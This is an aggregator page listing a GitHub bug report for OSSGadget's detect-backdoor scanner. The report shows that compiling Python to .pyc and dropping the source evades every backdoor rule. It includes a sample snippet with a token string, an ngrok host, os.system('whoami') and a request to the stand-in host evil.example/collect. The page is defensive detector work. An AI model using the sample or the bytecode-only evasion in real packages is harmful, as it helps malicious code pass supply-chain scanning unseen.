Hacktoberfest 2026: the issues maintainers tagged for October, open and beginner-friendly. Browse Hacktoberfest issues

[BUG] detect-backdoor finds nothing in .pyc bytecode: source-to-bytecode conversion evades every rule

Open
#542 0 comments 0 reactions 0 assignees View on GitHub

Nobody has claimed this yet.

Assessment

Difficulty
4/5
Estimated time
3-5 days
Newbie friendliness
54/100
Issue type
Bug
Clarity
Clearly specified
Activity status
Active
Tech stack
csharp, python
Domain
devtools, security

Research direction

Start by tracing detect-backdoor through LegacyRunAsync to CharacteristicTool and the BackdoorRules directory, then inspect how file types are selected for analysis. The report says .pyc files are skipped and provides make_adv.py to reproduce the case. Add a regression test using a directory containing only the generated bytecode; done means its constants are available to the existing rules and the test detects findings.

Written by the indexing model from the issue text.

Description

Case Study

Source file (detected):

import os
import requests

TOKEN = "auth_token=abc123"
HOST = "tcp.ngrok.io"
os.system("whoami")
requests.get("https://evil.example/collect")

Detected as 4 findings:

  • BD000300 Security.Backdoor.ReverseShell ("tcp.ngrok.io")
  • BD000700 Security.Backdoor.DataExFiltration (".get(")
  • BD000701 Security.Backdoor.DataExFiltration.Token ("auth_token")
  • BD000703 Security.Backdoor.DataExFiltration.Username ("whoami" in .userInfo pattern set)

The same program compiled to bytecode and shipped without the .py source (not detected):

python -m py_compile ori.py        # produces adv.pyc (see make_adv.py)
# directory now contains only adv.pyc

Result: "0 matches found."

The bytecode still contains the string constants "auth_token=abc123", "tcp.ngrok.io", "whoami", "https://evil.example/collect" in its marshal-encoded constant table, and the code still calls os.system and requests.get. The .pyc file is directly executable by Python, so removing the source is a realistic evasion path.

Current behavior

detect-backdoor delegates to ApplicationInspector's Characteristic analysis (LegacyRunAsync -> CharacteristicTool with DisableDefaultRules=true and the BackdoorRules directory). ApplicationInspector scans text/decodeable files; a binary .pyc file is skipped, so none of the 13 backdoor rules can match. Note that .git directories are traversed normally, so the gap is file-type specific.

Suggested Fix

Add a .pyc analysis path:

  • parse the pyc header and version, then marshal.loads() the code object;
  • walk co_consts recursively (including nested code objects) and collect str/bytes constants;
  • optionally disassemble the code object to recover API call names (os.system, requests.get);
  • run the existing BackdoorRules over the reconstructed constant/call buffer.
    At minimum, expose the marshalled string constants to the same rule engine and add a regression test with a pyc-only directory.

Reproduction results

Environment: OSSGadget 0.2.38 (ApplicationInspector rules engine, .NET 8), Windows 11 (10.0.26200); bytecode produced by Python 3.14.3.

Commands (from this directory):

python make_adv.py
ossgadget detect-backdoor -f text ./run/ori
ossgadget detect-backdoor -f text ./run/adv

Results:

ori: 4 matches (BD000300, BD000700, BD000701, BD000703).
adv (adv.pyc only): 0 matches.

Corpus evidence: on the 453-file corpus, converting every .py to .pyc and deleting the source reduced OSSGadget findings from 3130 to 204, and 0 of the 435 generated .pyc files produced any finding; the remaining 204 hits came from the 18 files that could not be compiled and from the manifest CSV.

Attachments: ori.py, make_adv.py (regenerates adv.pyc from ori.py)

make_adv.py
ori.py

Dominant language
C#
Stars
372
Forks
57
PR merge metrics
No merged PRs in 30d

Getting set up

Open in Codespaces

Starts the project's dev container in your browser, under your own GitHub account.

  • Ships a Dockerfile or Docker Compose file
  • No pull request template
  • No contributing guide

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

More from microsoft/OSSGadget

All issues in microsoft/OSSGadget

Similar issues

More C# issues

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.